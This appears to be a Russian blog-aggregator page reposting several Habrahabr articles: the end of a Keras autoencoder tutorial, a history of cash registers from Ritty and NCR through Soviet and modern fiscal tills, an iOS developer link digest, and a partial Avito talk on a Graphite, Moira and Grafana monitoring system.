Non-trainable params: 0
_________________________________________________________________
_________________________________________________________________
Layer (type)                 Output Shape              Param #   
=================================================================
input_1 (InputLayer)         (None, 3, 56, 56)         0         
_________________________________________________________________
encoder (Model)              (None, 8, 14, 14)         1608      
_________________________________________________________________
decoder (Model)              (None, 3, 56, 56)         2187      
=================================================================
Total params: 3,795
Trainable params: 3,795
Non-trainable params: 0
_________________________________________________________________

c_autoencoder.fit(x_train, x_train,
                epochs=20,
                batch_size=16,
                shuffle=True,
                verbose=2,
                validation_data=(x_test, x_test))

Train on 600 samples, validate on 120 samples
Epoch 1/20
10s - loss: 0.5840 - val_loss: 0.5305
Epoch 2/20
10s - loss: 0.4571 - val_loss: 0.4162
Epoch 3/20
9s - loss: 0.4032 - val_loss: 0.3956
Epoch 4/20
8s - loss: 0.3884 - val_loss: 0.3855
Epoch 5/20
10s - loss: 0.3829 - val_loss: 0.3829
Epoch 6/20
11s - loss: 0.3808 - val_loss: 0.3815
Epoch 7/20
9s - loss: 0.3795 - val_loss: 0.3804
Epoch 8/20
8s - loss: 0.3785 - val_loss: 0.3797
Epoch 9/20
10s - loss: 0.3778 - val_loss: 0.3787
Epoch 10/20
10s - loss: 0.3771 - val_loss: 0.3781
Epoch 11/20
9s - loss: 0.3764 - val_loss: 0.3779
Epoch 12/20
8s - loss: 0.3760 - val_loss: 0.3773
Epoch 13/20
9s - loss: 0.3756 - val_loss: 0.3768
Epoch 14/20
10s - loss: 0.3751 - val_loss: 0.3766
Epoch 15/20
10s - loss: 0.3748 - val_loss: 0.3768
Epoch 16/20
9s - loss: 0.3745 - val_loss: 0.3762
Epoch 17/20
10s - loss: 0.3741 - val_loss: 0.3755
Epoch 18/20
9s - loss: 0.3738 - val_loss: 0.3754
Epoch 19/20
11s - loss: 0.3735 - val_loss: 0.3752
Epoch 20/20
8s - loss: 0.3733 - val_loss: 0.3748


#c_autoencoder.save_weights('c_autoencoder_weights.h5')
#c_autoencoder.load_weights('c_autoencoder_weights.h5')

Посмотрим на результаты работы автоэнкодера


n = 5
imgs = x_test[:n]
encoded_imgs = c_encoder.predict(imgs, batch_size=n)
decoded_imgs = c_decoder.predict(encoded_imgs, batch_size=n)

def get_image_from_net_data(data):
    res = data.transpose((1, 2, 0))
    res *= 255.0
    res = np.array(res, dtype=np.uint8)
    return res

#image0 = get_image_from_net_data(decoded_imgs[0])
#plot_img(image0)

fig = plt.figure()
j = 0
for i in range(0, len(imgs)):
    j += 1
    fig.add_subplot(n,2,j)
    plot_img( get_image_from_net_data(imgs[i]) )
    j += 1
    fig.add_subplot(n,2,j)
    plot_img( get_image_from_net_data(decoded_imgs[i]) )


Продолжение следует...


Ссылки


Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335444/


Метки:  

История торговых кассовых аппаратов

Пятница, 11 Августа 2017 г. 15:55 + в цитатник
Современную торговлю невозможно представить без использования контрольно-кассовой техники. Кассы с нами повсюду: в супермаркетах, кафе, на заправках и на почте. С 1 июля 2017 года кассовые аппараты обязательно должны использоваться даже при оплате товаров в интернет-магазинах. А кто и когда первым придумал вести учет финансовых поступлений при помощи кассы? Вся история торговых кассовых аппаратов – в нашем материале.




Появление новых машин для приема денег в корне изменило представление о розничной торговле, которая до конца XIX века велась по упрощенной схеме. До изобретения кассового аппарата покупатель отдавал продавцу деньги, взамен получал товар (или услугу), а все обязанности по учету финансовых поступлений брал на себя продавец. Не нужно быть очень проницательным, чтобы понять – такой контроль доходов от продаж был очень условным.


1871-1884: первые кассы Джеймса Якоба Ритти


Первым человеком, который задумался о необходимости контроля денежных поступлений, был Джеймс Якоб Ритти. Будущий изобретатель кассового аппарата в 1871 году открыл в городе Дайтон (штат Огайо) бар под названием Pony House. Несмотря на немалое число посетителей, денег бизнес не приносил, так как персонал заведения постоянно утаивал выручку от владельца. Решить проблему увольнением нечистых на руку продавцов не получалось – с новыми людьми происходило то же самое.


Джеймс Ритти – изобретатель первого кассового аппарата

Решение пришло неожиданно, во время морского путешествия Ритти из США в Европу. Джеймс зашел в машинное отделение корабля и увидел там тахометр – круглый датчик, который отсчитывал число оборотов гребного вала. Глядя на этот датчик, Джеймс подумал, что можно собрать похожее устройство, которое бы точно так же отсчитывало деньги, принимаемые от клиентов Pony House. Вернувшись домой, воодушевленный Джеймс сконструировал прототип кассового аппарата.

Это устройство было совершенно не похоже на привычные для нас кассы. Для индикации суммы дохода использовался круглый циферблат, из-за чего устройство издалека можно было принять за обычные часы в деревянном корпусе. Тем более что у первой кассы, как и у часов, были стрелки: длинная («минутная») показывала центы, а короткая («часовая») отображала доллары. Под этим циферблатом располагались кнопки, каждая из которых соответствовала цене на тот или иной товар. Например, если посетитель приобретал выпивку на 35 центов, кассир должен был нажать на кнопку с этим значением, после чего счетчик корректировал положение стрелок на циферблате.


Первая рабочая модель кассового аппарата

Первая модель кассового аппарата оказалась несовершенной. Хитрый продавец мог лишь сделать вид, что использует кассу, или нажать на кнопку с меньшим номиналом. А когда никто не видел, он поступал еще проще – переводил стрелки обратно. Поэтому Джеймс внес изменения в конструкцию – в кассе появились колесики с цифрами, а их движение было синхронизировано передаточным механизмом. Благодаря «сумматору» аппарат научился подсчитывать общую сумму заказа, а также приобрел форму, которая впоследствии не менялась в течение многих лет.



Чтобы приучить посетителей заведения к кассе, Ритти повесил на устройство колокольчик, который издавал звон после расчета посетителя. Эта модель получила прозвище «Неподкупный кассир Ритти».

Однако и во второй модификации кассового аппарата со временем обнаружился существенный недостаток. Как-то раз в заведении разразился сильный скандал – недовольный посетитель обвинил бармена в том, что тот его обсчитал. Доказательств, понятное дело, не было – кассовый аппарат показывал новую сумму выручки, и только. Тогда Джеймс решил доработать свое детище, наделив его специальной бумажной лентой, на которой фиксировалась каждая операция, проведенная кассиром.

Так в третьей модификации кассового аппарата все операции сопровождались перфорацией бумаги, по которой можно было отследить действия кассира. Вероятно, с той поры и появилось хорошо известное выражение «пробить чек».

Кроме того, под кассой теперь в обязательном порядке находился ящик для денег – поначалу самый простой выдвижной, поделенный на секции для разного номинала. Также в нем имелись прижимные ролики для купюр. Со временем в ящике появился и замок. Интересно, что за более чем сто лет ящик для наличности практически не изменился.



После того как все основные недостатки первых модификаций кассового аппарата были устранены, Джеймс Ритти запатентовал свое изобретение. Затем он попробовал наладить серийный выпуск, но быстро отказался от этой затеи и продал патент, сосредоточившись на развитии ресторанного бизнеса.


Джеймс Ритти с братом создают первые образцы кассовых аппаратов

Первые кассы современности: «Национальная кассовая компания» Джона Паттерсона


В 1884 году права на изготовление кассовых аппаратов выкупил Джон Паттерсон, которого по праву называют человеком, создавшим современную технологию продаж. Получив патент на производство перспективного устройства, бизнесмен создал компанию The National Cash Register Company (которая, кстати, и сегодня выпускает POS-оборудование).

В 1906 году в NCR был изобретен первый кассовый аппарат на электромоторе с кнопочным приводом. Его создал один из самых талантливых инженеров NCR – Чарльз Кеттеринг, который всего за пять лет работы в компании получил более двадцати патентов на разные изобретения. Команда инженеров NCR вносила все новые усовершенствования в кассовые аппараты, и именно под началом Джона Паттерсона эти устройства стали такими, какими мы их привыкли видеть.


Классический кассовый аппарат фирмы The National Cash Register Company

Когда Паттерсон занялся кассовыми аппаратами, ему пришлось влезть в долги и полагаться на свою интуицию предпринимателя. Но он твердо верил в то, что за кассовыми аппаратами будущее. Интересно, что Паттерсон не навязывал покупателям сами кассовые аппараты, а работал над созданием потребности в кассовых чеках (то есть по сути продавал не сам продукт, а выгоду от его использования). Для продавцов NCR был написан целый учебник, который они обязаны были выучить наизусть, прежде чем идти к потенциальным клиентам. В итоге с 1884 по 1911 год в мире было продано более миллиона кассовых аппаратов, а к 1917 году The National Cash Register Company контролировала около 95% рынка.

Некоторые методы, которые использовал в своей бизнес-стратегии Джон Паттерсон, были действительно новаторскими (и применяются по сей день). Так, компания NCR часто попросту скупала своих конкурентов. Как только Джон видел в продаже модель кассового аппарата с функциями, которых недоставало в собственной продукции, он тут же делал все, чтобы выкупить производителя или вынудить его свернуть бизнес.

Во-вторых, в компании дотошно изучали кассы конкурентов, чтобы лучше понять их недостатки. Так, например, достоверно известно, что в феврале 1892 года внутри компании было распространен циркуляр с инструкциями по взлому денежного ящика кассового аппарата конкурирующей марки – Simplex Cash Register.

Эта касса работала достаточно необычно. У нее не было кнопок, зато имелись отверстия под шарики. Каждое отверстие соответствовало определенной сумме. После установки шариков в нужное положение в небольшом окне поднимался флажок с ценником. Так покупатель мог увидеть выставленный ему счет. Попав внутрь кассы, шарики накапливались, и в конце дня владелец мог сравнить выручку с числом шариков.


Альтернативный тип кассового аппарата от Simplex Cash Register

Продавцы NCR получили от руководства подробную инструкцию, разъясняющую, насколько легко можно обмануть эту кассу и достать оттуда наличность. К инструкции прилагалась свинцовая пуля и конский волос. Трюк был прост – вместо шарика можно было вставить в отверстие пулю, а потянув за заранее подложенный под ящик конский волос, без проблем выдвинуть ящик и достать деньги из кассы. Конечно же, после такой демонстрации многие владельцы подобных кассовых аппаратов спешили заменить их на устройства от NCR.

К несчастью для компании Паттерсона, эта инструкция послужила поводом для иска к NCR со стороны федерального правительства и в соответствии с антимонопольным законодательством в 1913 году компания была признана виновной в нечестном ведении продаж.

Впрочем, Паттерсон не боялся судебных процессов и активно спорил в суде с конкурентами. Забавный случай произошел в 1894 году. Обратив внимание на растущую популярность кассовых устройств, некий Майкл Хайнц из Детройта создал компанию Heintz Cash Register, которая выпустила свой кассовый аппарат. Отличительной особенностью этой модели было то, что вместо привычного звона колокольчика об окончании операции сообщала… кукушка. Да-да, механическая кукушка, которая высовывала голову из кассы и куковала.



Мимо такого Паттерсон пройти не мог. Он подал иск на Хайнц Кэш Реджистер, обвинив конкурента в нарушении авторских прав. В суде представители «кассы с кукушкой» заявили, что сделали принципиально новый продукт, заменив классический колокольчик на птичку. Но Джон настаивал на том, что это не так, а в доказательство предъявил текст оригинального патента. И действительно в патенте Джеймса Ритти не был прописан именно колокольчик — в нем указывалось «звуковое устройство для оповещения». Решение суда постановило заставить кукушку замолчать навсегда. Хотя, наверное, было бы забавно услышать на кассе, что твои деньги «ку-ку».

Кассовые аппараты в СССР


В Советском Союзе контрольно-кассовые устройства собственного производства появились не сразу. Долгое время в ресторанах и торговых точках использовались импортные образцы, в основном, устаревшей конструкции. Отдельные довоенные разработки, как, например, выпускаемые Киевским заводом имени 13-летия Октября, не получили особого распространения — главным образом по причине низкой надежности.



Более того, в стране даже толком не было мест, где можно было бы отремонтировать поврежденную импортную технику. В 1923 году открылось единственное на тот момент предприятие по ремонту пишущих машин, счётных и кассовых аппаратов – «Бюро точной механики 1-го МГУ».

Первые более или менее удачные варианты кассовых аппаратов отечественного производства, такие как А1Т или линейка устройств КИМ, появились во второй половине прошлого века. Изначально эти модели были исключительно механическими и приводились в действие поворотной ручкой. Позже их конструкция стала электромеханической, они работали от обычной сети. Но даже когда во второй половине 70-х в универмагах и продуктовых магазинах появились электрифицированные образцы, на боковой стенке кассового аппарата все еще можно было видеть ручку «для завода», которая использовалась в экстренных случаях при отсутствии электричества.


Кассовый аппарат КИМ-2

При взгляде на клавиатуру советских кассовых аппаратов у современного человека обязательно возникает вопрос: для чего нужно так много повторяющихся кнопок?

Ранние модели советских касс имели ограниченный набор регистров. Каждый регистр вводился своим набором цифр. Для десятков рублей использовался первый вертикальный столбец кнопок от «1» до «9», для единиц рублей – второй вертикальный столбец и т.д. Цифры «ноль» не было вообще, вместо нее ставился крест – это была своеобразная защита от подделок чека. Также на клавиатуре находился короткий столбец кнопок – «1», «2», «3», «4». Это были номера отделов, для которых выбивался товар.

Еще одна хитрая особенность, предназначенная для защиты от мошенников, – буквенный код. Чтобы человек не мог получить товар по поддельному чеку, кассир должен был регулярно договариваться с продавцом и менять контрольную букву чека. Таким образом, если человек вручает продавцу чек, и тот не видит «секретную букву», он знает, что чек – подделка.

Кнопки имели фиксацию, и чек пробивался — с помощью кнопки ввода — лишь тогда, когда вся информация была набрана. Если же кассир ошибался, он мог сделать «сброс», отжав текущую комбинацию клавиш специальной кнопкой.


Модель КИМ-3-СП

Первые модели кассовых аппаратов, произведенные в СССР, отличались низкой надежностью. Однако ситуация в корне изменилась, когда на основе шведского прототипа была сделана модель «Ока».


Контрольно-кассовый аппарат «Ока 4401»

С начала 80-х годов прошлого века такая касса стояла практически в каждом советском магазине. Она заправлялась сразу двумя рулонами лент: одна – для покупателя, вторая – для ведения контрольного протокола. Контрольная лента показывалась под окошком на панели рядом с кнопками, так что кассир мог оперативно увидеть свою ошибку или просмотреть историю действий.

К кассе прилагался целый комплект ключей. Первый позволял включить кассовый аппарат, второй служил для обнуления датчиков, а третий – для снятия показаний счетчиков. А «визитной карточкой» отечественного кассового аппарата стал ящик для наличности, который по окончанию расчета буквально вылетал из основного корпуса.

В восьмидесятых же появились и первые электронные кассовые аппараты. Наиболее популярной среди них была Искра-302А. Она была похожа на гигантский калькулятор и имела встроенную память на магнитных сердечниках. Такая касса часто использовалась в Сбербанке и на почте.


Советский кассовый аппарат Искра-302А

Наше время


В наш век «умных вещей» кассовые аппараты стали настоящими маленькими компьютерами. Современная касса, отвечающая всем требованиям законодательства, состоит из следующих компонентов:

  • корпуса, внутри которого должны быть часы реального времени.
  • фискального накопителя (ФН) – криптографического средства защиты фискальных данных, которое записывает данные в некорректируемом виде, хранит их и передает в контролирующие органы. Именно передача накопленных данных является отличием ФН от ЭКЛЗ (электронной защищенной контрольной ленты), которая использовалась в более ранних версиях кассовых аппаратов для некорректируемого накопления информации обо всех оформленных на устройстве платежных документах и отчетах закрытия смены.
  • устройства для печати чеков. Впрочем, в эпоху онлайн-расчетов печать бумажного чека для некоторых видов торговли уже необязательна. Поэтому сегодня уже есть онлайн-кассы, которые генерируют только электронный чек и не печатают его на бумаге.


Для того чтобы разобраться в разнообразии современных касс, можно ориентироваться на буквенные обозначения в названиях моделей:
  • «ФС» – кассы только для расчетов в интернете (не содержат внутри корпуса устройство для печати);
  • «ФА» – кассы только для встраивания в автоматические устройства (вендинг, платежные терминалы);
  • «ФБ» – автоматизированные системы БСО;
  • «Ф» – все остальные, которые могут применяться в любом из вариантов.


Современные онлайн-кассы для торговых точек обычно оснащаются встроенным модемом, обеспечивающим онлайн-передачу данных в ФНС, слотом для SIM-карты, влагозащищенной клавиатурой, Li-ion аккумулятором (на случай перебоев с электропитанием).


Касса АТОЛ 90Ф

Есть и портативные кассы, предназначенные специально для курьеров. Они более легкие и компактные (иногда – весом до 300 грамм), могут в течение длительного времени работать автономно, оснащены интерфейсами передачи данных Bluetooth и Wi-Fi.

А вот современные многофункциональные POS-терминалы по внешнему виду больше напоминают классический десктоп, чем контрольно-кассовый аппарат. В любом POS-терминале можно безошибочно распознать знакомые компоненты – системный блок, монитор, клавиатуру, принтер. Однако в отличие от обычного ПК, терминал, конечно же, не используется для игр и веб-серфинга, а предназначен для применения в различных торговых точках.


Многофункциональный POS-терминал «АТОЛ Магазин у дома»

Операционная система и программное обеспечение на нем уже установлены, все оборудование из комплекта совместимо и требует минимум времени на сборку и настройку. Поскольку такие устройства создаются для непрерывной активной эксплуатации, терминалы по большей части гораздо надежнее обычных десктопов. В системном блоке терминалов, как правило, нет охлаждающих вентиляторов. Это не только подразумевает тихую работу, но еще и препятствует попаданию пыли внутрь корпуса и, как следствие, снижает риск выхода электроники из строя.

В итоге


Контрольно-кассовые аппараты, выпущенные за последние сто пятьдесят лет, сильно отличаются внешне и функционально. Но есть кое-что, что объединяет первые кассы Джеймса Ритти и современные POS-терминалы. Это – простота в обращении.

Главный пользователь подобных устройств – обычный кассир, который зачастую имеет очень смутное представление о том, как функционирует кассовый аппарат. Поэтому производители касс всегда уделяли большое внимание простоте их использования и придавали им сходство с узнаваемыми предметами. В разные времена дизайн кассового аппарата напоминал часы, печатную машинку, настольный калькулятор и т.д. И чем сложнее становилась «начинка» кассовой техники, тем важнее было сделать аппарат более дружелюбным и надежным. И какую бы форму ни принимало устройство, его главная функция остается неизменной – помогать человеку вести контрольный учет денежных операций. Ведь кассовые чеки — это единственная составляющая бизнеса, суть которой не изменилась за последние сто лет.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335362/


Метки:  

Digest MBLTdev — свежак для iOS-разработчиков

Пятница, 11 Августа 2017 г. 15:55 + в цитатник


Сегодня вышел 130-й выпуск дайджеста. Решили поделиться с общественностью небольшой круглой датой полезным контентом. Спасибо, что читаете нас. А если ещё не читаете, то пора начать.



The Ultimate Guide to Branch Products
Если вы что-то слышали про Branch, то, возможно, знаете, что они предоставляют систему дип линков. На самом деле у Branch сейчас есть целый арсенал продуктов для любой стадии развития приложения.
BRANCH.APP.LINK

HomePod firmware provides detailed look at iPhone 8 screen layout
Скандалы, интриги, расследования. Вопрос один: это вообще законно? Скоро узнаем. Ждать осталось недолго.
9TO5MAC.COM

Apple releases fourth iOS 11 public beta for iPhone and iPad
Паблик бета 4 в бою. Хуже не стало. И это хорошо.
9TO5MAC.COM

Неделя для подачи доклада на MBLTdev 2017
Точнее, 9 дней. Но дедлайн близко (ждём заявки до 20.08).
MBLTDEV.RU

iOS.Ninja
Новый канал для iOS-разработчиков, объединённый. Если вдруг подзабылось, каналов целый ворох на http://ios-channels.ru.
T.ME



Не CoreML единым
Нейросеть на Swift, реализующая XOR, но без использования CoreML, а через BNNS.
COCOA-BEANS.RU

MAChineLearning
Ещё один заход по ML. Специально для macOS-разработчиков. Вторую неделю подряд появляется что-то специфическое для macOS. Так, глядишь, и синхронизацию CoreData через iCloud починят.
GITHUB.COM

Disk
Предлагается абстракция над некоторыми дисковыми операциями.
GITHUB.COM

Managing view controller complexity in tvOS and iOS projects
В процессе работы над своим AVPlayerViewController ребята сделали правильные выводы насчёт архитектуры. Стейт надо изолировать!
MEDIUM.COM

Enforce Exclusive Access to Memory (Swift-evolution)
Concurrency — это непросто. Если вам интересно узнать, что такое overlapping accesses, чем он плох и как с ним предлагают жить, читайте этот proposal.
GITHUB.COM

UI-тесты для iOS
Мобильные проекты обычно небольшие и недолго живущие, люди уже начинают забывать, как выглядит Objective-C, а некоторые его даже не видели. И вот прекрасная статья про проект, которому уже 6 лет. 99% кода написано на Objective-C, много чего подкручено это здорово! Конечно, такую кодовую базу надо покрывать тестами, и парни поделились тем, как они тестируют UI. Если коротко, то это XCTest и добавление JSON с описанием UI-элементов в accessibilityValue.
HABRAHABR.RU

TamTam: как мы делали новый мессенджер
Немного про то, как устроен мессенджер от Одноклассников.
HABRAHABR.RU



Sequel Pro
А вот немножечко UI для работы с mySQL, MariaDB. Можно, конечно, и образ с сайта скачать, но из исходников-то правомернее будет.
GITHUB.COM

SQLite.viewer
Поднимает сервер который позволяет работать с SQLite базой приложения из браузера. Напомнило PonyDebugger.
GITHUB.COM



App Store Insights
Немного занимательных фактов о магазинах приложений.
BLOG.APPFIGURES.COM

Digest MBLTDEV — это собрание самой полезной и свежей информации для iOS-разработчиков с просторов мирового интернета. Выпуск выходит каждую пятницу. Подписка бесплатная. И никакого спама, честно!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335438/


Мониторинг как сервис: модульная система для микросервисной архитектуры

Пятница, 11 Августа 2017 г. 15:50 + в цитатник
Сегодня на нашем проекте, помимо монолитного кода, функционируют десятки микросервисов. Каждый из них требует того, чтобы его мониторили. Делать это в таких объемах силами DevOps проблематично. Мы разработали систему мониторинга, которая работает как сервис для разработчиков. Они могут самостоятельно писать метрики в систему мониторинга, пользоваться ими, строить на их основании дашборды, прикручивать к ним алерты, которые будут срабатывать при достижении пороговых значений. С DevOps — только инфраструктура и документация.
Этот пост — расшифровка моего выступления с нашей секции на РИТ++. Многие просили нас сделать текстовые версии докладов оттуда. Если вы были на конференции или смотрели видео, то не найдете ничего нового. А всем остальным — добро пожаловать под кат. Расскажу, как мы пришли к такой системе, как она работает и как мы планируем её обновлять.



Прошлое: схемы и планы


Как мы пришли к существующей системе мониторинга? Для того, чтобы ответить на этот вопрос, нужно отправиться в 2015 год. Вот как это выглядело тогда:



У нас существовало порядка 24 узлов, которые отвечали за мониторинг. Здесь есть целая пачка различных кронов, скриптов, демонов, которые что-то где-то каким-то образом мониторят, отправляют сообщения, выполняют функции. Мы подумали, что чем дальше, тем менее такая система будет жизнеспособна. Развивать её нет смысла: слишком громоздкая.
Мы решили выбрать те элементы мониторинга, которые мы оставим и будем развивать, и те, от каких откажемся. Их оказалось 19. Остались только графиты, агрегаторы и Grafana в качестве дашборда. Но как же будет выглядеть новая система? Вот так:



У нас есть хранилище метрик: это графиты, которые будут базироваться на быстрых SSD-дисках, это определенные агрегаторы для метрик. Далее — Grafana для вывода дашбордов и Moira в качестве алертинга. Также мы хотели разработать систему для поиска аномалий.

Стандарт: Мониторинг 2.0


Так выглядели планы в 2015. Но нам надо было готовить не только инфраструктуру и сам сервис, но и документацию к нему. Мы для себя разработали корпоративный стандарт, который назвали мониторинг 2.0. Какие требования были к системе?
  • постоянная доступность;
  • интервал хранения метрик = 10 секунд;
  • структурированное хранение метрик и дашбордов;
  • SLA > 99,99%
  • cбор ивентовых метрик по UDP (!).

Нам был необходим UDP, так как у нас большой поток трафика и событий, которые генерируют метрики. Если их все сразу писать в графит, хранилище ляжет. Также мы выбрали префиксы первого уровня для всех метрик.



Каждый из префиксов носит какое-то свойство. Есть метрики по серверам, сетям, контейнерам, ресурсам, приложениям и так далее. Реализована четкая, строгая, типизированная фильтрация, где мы принимаем метрики первого уровня, а остальные просто дропаем. Вот как мы планировали эту систему в 2015 году. Что же в настоящем?

Настоящее: схема взаимодействия компонентов мониторинга


В первую очередь мы мониторим аппликейшны: наш PHP-код, приложения и микросервисы — словом, все, что пишут наши разработчики. Все аппликейшны через UDP отправляют метрики в агрегатор Brubeck (statsd, переписанный на С). Он оказался самым быстрым по итогам синтетических тестов. И он отправляет уже агрегированные метрики в Graphite через TCP.

У него есть такой тип метрик, как таймеры. Это очень удобная штука. Например, на каждое соединение пользователя с сервисом вы отправляете в Brubeck метрику с responce time. Пришел миллион ответов, а агрегатор выдал всего 10 метрик. У вас есть количество пришедших людей, максимальное, минимальное и среднее время отклика, медиана и 4 персентиля. Потом данные передаются в Graphite и мы видим их все вживую.

Также у нас есть агрегация для метрик по железу, софту, системных метрик и нашей старой системы мониторинга Munin (она работала у нас до 2015 года). Все это мы собираем через C'ишный демон CollectD (в него вшита целая пачка различных плагинов, он умеет опрашивать все ресурсы хостовой системы, на которой он установлен, просто укажите в конфигурации, куда писать данные) и пишем через него данные в Graphite. Также он поддерживает плагины python и shell скрипты, так что вы можете писать свои кастомные решения: CollectD будет собирать эти данные с локального или удаленного хоста (предположим, есть Curl) и отправлять их в Graphite.

Дальше все метрики, которые мы собрали, отправляем в Carbon-c-relay. Это решение Carbon Relay от Graphite, доработанное на C. Это роутер, который собирает в себе все метрики, которые мы отправляем с наших агрегаторов, и маршрутизирует их по нодам. Также на стадии маршрутизации он проверяет валидность метрик. Они, во-первых, должны соответствовать той схеме с префиксами, которую я показал раньше и, во-вторых, валидны для графита. Иначе они дропаются.

Потом Carbon-c-relay отправляет метрики в кластер Graphite. Мы используем в качестве основного хранилища метрик Carbon-cache, переписанные на Go. Go-carbon по причине его многопоточности намного превосходит по производительности Carbon-cache. Он принимает данные в себя и записывает их на диски с помощью пакета whisper (стандартный, написан на python). Для того, чтобы прочитать данные с наших хранилищ, мы используем Graphite API. Он работает намного быстрее, чем стандартный Graphite WEB. Что происходит с данными дальше?

Они идут в Grafana. В качестве основного источника данных мы используем наши кластеры графитов, плюс у нас есть Grafana как веб-интерфейс, для отображения метрик, построения дэшбордов. На каждый свой сервис разработчики заводят собственный дэшборд. Далее они строят по ним графики, на которых отображаются метрики, которые они пишут со своих приложений. Помимо Grafana у нас есть еще SLAM. Это питонячий демон, который считает SLA на основании данных из графита. Как я уже говорил, у нас есть несколько десятков микросервисов, у каждого из которых есть свои требования. С помощью SLAM мы ходим в документацию и сравниваем её с тем что есть в Graphite и сравниваем, насколько требования соответствуют доступности наших сервисов.

Идем далее: алертинг. Он организован с помощью сильной системы — Moira. Она независимая потому, что у нее под капотом — свой собственный Graphite. Разработана ребятами из СКБ контура, написана на python и Go, полностью опенсорсная. Moira получает в себя весь тот же поток, что уходит в графиты. Если по какой-то причине у вас умрет хранилище, то ваш алертинг будет работать.

Moira мы развернули в Kubernetes, в качестве основной базы данных она использует кластер Redis-серверов. В итоге получилась отказоустойчивая система. Она сравнивает поток метрик со списком триггеров: если в нем нет упоминаний, то дропает метрику. Так она способна переварить гигабайты метрик в минуту.

Еще мы к ней прикрутили корпоративный LDAP, с помощью которого каждый пользователь корпоративной системы может создавать для себя нотификации по существующим (или вновь созданным) триггерам. Так как Moira содержит в себе Graphite, она поддерживает все его функции. Поэтому вы сначала берете строчку и копируете ее в Grafana. Смотрите, как отображаются данные на графиках. А потом берете эту же строчку и копируете ее в Moira. Обвешиваете ее лимитами и получаете на выходе алертинг. Чтобы все это делать, вам не нужны никакие специфические знания. Moira умеет алертить по смс, email, в Jira, Slack… Также она поддерживает выполнение кастомных скриптов. Когда у нее случается триггер, и она подписана на кастомный скрипт или бинарник, она его запускает, и отдает на stdin этому бинарнику JSON. Соответственно, ваша программа должна его распарсить. Что вы будете с этим JSONом делать — решайте сами. Хотите — отправляйте в Telegram, хотите — открывайте таски в Jira, делайте что угодно.

У нас для алертинга используется ещё и собственная разработка — Imagotag. Мы адаптировали панель, которая применяется обычно для электронных ценников в магазинах, под наши задачи. Мы вывели на нее триггеры из Moira. Там указано, в каком они состоянии, когда произошли. Часть ребят из разработки отказались от уведомлений в Slack и в почту в пользу вот этой панельки.



Ну и так как мы — прогрессивная компания, то замониторили в этой системе еще и Kubernetes. Включили его в систему с помощью Heapster, который мы установили в кластер, он собирает данные и отправляет их в Graphite. В итоге схема выглядит вот так:



Компоненты мониторинга



Вот список ссылок на те компоненты, которые мы использовали для этой задачи. Все они — опенсорсные.

Graphite:




Carbon-c-relay:


github.com/grobian/carbon-c-relay

Brubeck:


github.com/github/brubeck

Collectd:


collectd.org

Moira:


github.com/moira-alert

Grafana:


grafana.com

Heapster:


github.com/kubernetes/heapster

Статистика


И вот немного цифр о том, как система работает у нас.

Aggregator (brubeck)


Количество метрик: ~ 300 000 / sec
Интервал отправки метрик в Graphite: 30 sec
Использование ресурсов сервера: ~ 6% CPU (речь идет о полноценных серверах); ~ 1Gb DDR; ~ 3 Mbps LAN

Graphite (go-carbon)


Количество метрик: ~ 1 600 000 / min
Интервал обновления метрик: 30 sec
Схема хранения метрик: 30sec 35d, 5min 90d, 10min 365d (дает понимание что происходит с сервисом на продолжительном этапе времени)
Использование ресурсов сервера: ~ 10% CPU; ~ 20Gb DDR; ~ 30 Mbps LAN

Гибкость


Мы в Avito очень ценим в нашем сервисе мониторинга гибкость. Почему, он собственно получился таким? Во первых, его составные части взаимозаменяемы: как сами компоненты, так и их версии. Во-вторых — поддерживаемость. Так как весь проект построен на опенсорсе, вы сами можете править код, вносить изменения, можете реализовывать функции, недоступные из коробки. Используются достаточно распространенные стеки, в основном, Go и Python, поэтому это делается достаточно просто.

Вот пример реально возникшей проблемы. Метрика в Graphite — это файл. У него есть название. Имя файла = имя метрики. И есть путь до него. Названия файлов в Linux ограничены 255 символами. А у нас есть (в качестве “внутренних заказчиков”) ребята из отдела баз данных. Они нам говорят: “Мы хотим мониторить наши SQL-запросы. А они — не 255 символов, а 8 МБ каждый. Мы их хотим отображать в Grafana, видеть параметры по этому запросу, а еще лучше, мы хотим видеть топ таких запросов. Будет здорово, если он будет отображаться в реальном времени. А совсем круто было бы запихнуть их в алертинг”.


Пример SQL-запроса взят в качестве примера с сайта postgrespro.ru

Мы поднимаем сервер Redis и нашими Collectd-плагинами, которые ходят в Postgres и берут оттуда все данные, отправляем метрики в Graphite. Но заменяем имя метрики на хэши. Этот же хэш одновременно отправляем в Redis в качестве ключа, и весь SQL-запрос в качестве значения. Нам осталось сделать так, чтобы Grafana умела ходить в Redis и брать эту информацию. Мы открываем Graphite API, т.к. это основной интерфейс взаимодействия всех компонентов мониторинга с графитом, и вписываем туда новую функцию, которая называется aliasByHash() — от Grafana получаем имя метрики, и используем его в запросе к Redis как ключ, в ответ получаем значение ключа, которым является наш “SQL запрос”. Таким образом, мы вывели в Grafana отображение SQL-запроса, который по идее отобразить там было никак нельзя, вместе со статистикой по нему (calls, rows, total_time, ...).

Итоги


Доступность. Наш сервис мониторинга доступен 24 на 7 из любого аппликейшна и любого кода. Если у вас есть доступ к хранилищам, вы можете писать в сервис данные. Язык неважен, решения не важны. Вам нужно только знать как открыть сокет, закинуть туда метрику и закрыть сокет.

Надежность. Все компоненты отказоустойчивы и справляются с нашими нагрузками хорошо.

Низкий порог вхождения. Для того, чтобы пользоваться этой системой, вам не надо изучать языки программирования и запросы в Grafana. Просто открываете ваше приложение, вписываете в него сокет, который будет отправлять метрики в Graphite, закрываете его, открываете Grafana, создаете там дэшборды и смотрите на поведение ваших метрик, получая уведомления через Moira.

Самостоятельность. Все это можно делать самим, без использования DevOps. И это оверфича, потому что вы можете мониторить свой проект прямо сейчас, никого не надо просить — ни для начала работы, ни для изменений.

К чему мы стремимся?


Все перечисленное ниже — это не просто абстрактные мысли, а то, к чему сделаны хотя бы первые шаги.
  1. Детектор аномалий. Хотим запилить у себя сервис, который будет ходить в наши Graphite-хранилища и каждую метрику проверять по различным алгоритмам. Уже есть алгоритмы, которые мы хотим просматривать, есть данные, мы умеем с ними работать.
